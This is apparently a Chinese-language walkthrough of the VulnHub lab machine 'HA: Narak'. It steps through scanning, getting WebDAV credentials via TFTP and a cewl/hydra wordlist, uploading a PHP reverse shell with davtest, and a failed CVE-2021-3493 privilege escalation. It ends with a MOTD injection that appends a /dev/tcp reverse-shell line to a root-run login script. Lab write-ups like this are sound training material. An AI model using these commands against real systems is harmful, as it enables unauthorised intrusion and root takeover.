narak
一、靶机介绍
下载地址:HA: Narak ~ VulnHub
攻击方法:
- 主机发现
- 端口扫描
- 信息搜集
- 密码字典定制
- 爆破密码
- webdav漏洞
- PUT方法上传
- BF语言解码
- MOTD注入
- CVE-2021-3493提权
二、主机发现
arp-scan -l |
靶机地址为193.168.43.149
三、端口扫描
nmap -p- 192.168.43.149 |
80和22端口开放
四、目录扫描
直接访问web页面发现就几张图片没有获得什么有用的信息
dirsearch -u "http://192.168.43.149/" |
发现存在webdav这个目录
访问反正需要账号和密码
暂时没有获取到更多的信息,换了一个大字典重新扫描了一次
gobuster dir -u "http://192.168.43.149/" -w /usr/share/wordlists/dirb/big.txt -x txt,php,html,jsp |
发现存在一个tips.txt这个记事本
提示信息是找creds.txt这个记事本,但是直接访问了一下,发现访问不成功这个路径
五、webdav账号密码
5.1、tftp利用
这个方法是我在网上搜wp时发现的一种方式,之前没见过这种方式,记录一下
在前面使用nmap扫描开放端口时,我们平常都是只注意tcp协议的开放的端口,这个是在扫描端口是时扫完tcp开放的,把upd协议的也扫描一下,发现tftp服务也在运行中
nmap -sU 192.168.43.149 --top-port 20 |
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69
--top-port 20
:指定扫描最常见的20个端口,可以节省时间和资源。
-sU
:使用UDP扫描,即发送UDP数据包到目标主机的端口,根据响应判断端口是否开放。
直接使用tftp,get到账号cred.txt这个记事本,其实我感觉这种方式,才是靶机作者设想的获得方式。
tftp 192.168.43.149 |
yamdoot:Swarg
5.2、定制字典
使用cewl定制爆破账号密码,通过cewl爬取网站的信息,生成一个关于这个网站的账号密码,然后再使用hydra爆破,这样也能成功爆破出账号密码
cewl http://192.168.43.149/ -w dict.txt |
登录成功,但是里面什么都没有。。。。。
六、webdav漏洞
使用kali自带关于检测webdav的工具
davtest |
查看用法
davtest -auth yamdoot:Swarg -url http://192.168.43.149/webdav/ |
auth 指定一下账号密码
根据工具运行结果,发现可以成功上传php,并能执行成功
七、反弹shell
将反弹shell的webshell复制到桌面上,然后自己更改一下ip和端口
cp /usr/share/webshells/php/php-reverse-shell.php . |
davtest -auth yamdoot:Swarg -url http://192.168.43.149/webdav/ -uploadfile php-reverse-shell.php -uploadloc 3.php |
根据用法写入webshell
uploadfile:指定你上传的文件
uploadloc:上传后的命名
监听端口,访问这个页面,即可反弹成功
使用python换一下shell命令行
python3 -c 'import pty;pty.spawn("/bin/bash")' |
八、提权(两种方式)
8.1、CVE-2021-3493
uname -a |
发现内核版本为Ubuntu18,还是能使用CVE-2021-3493提权成功
根据内核版本和内核发布时间,你的 Ubuntu 版本应该是 Ubuntu 18.04 LTS (Bionic Beaver)。
这个内核版本 4.15.0-20-generic 是在 Ubuntu 18.04 的早期更新中使用的,并且内核编译日期为 2018 年 4 月 24 日,与 Ubuntu 18.04 LTS 的发布时间相吻合
GitHub - briskets/CVE-2021-3493: Ubuntu OverlayFS Local Privesc
这里如果kali是新版的话,编译后不能再靶机中运行成功,因为gcc版本不同,再docker中起一个对应靶机版本的Ubuntu,进行编译再传到靶机中执行,我这里没有执行提权成功,懒得折腾了。
gcc exploit.c -o exp |
再kali中编译好,传输到靶机中运行报的错误,gcc版本不同
./exp
./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found (required by ./exp)
8.2、MOTD注入
使用命令找出权限异常文件
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null |
-perm -ug=x,o=w:用户组具有可执行权限,其他用户具有写权限
用户是root的
进行解密
chitragupt
发现家目录下,存在三个用户,一个个尝试一下。
ls /home |
chitragupt
登录之后,再用户目录下,发现第一个flag
然后就没获取到其他新的有用信息了,继续查找权限有问题的文件
find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null |
发现motd这个文件有点异常
MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell
echo 'bash -c "bash -i >& /dev/tcp/192.168.43.130/6666 0>&1"' >> /etc/update-motd.d/00-header # 这里因为我使用vi遍文件时,老是出问题,就是用echo直接追加了 |
切记使用ssh连接触发,不要使用su切换,使用su切换motd文件不会触发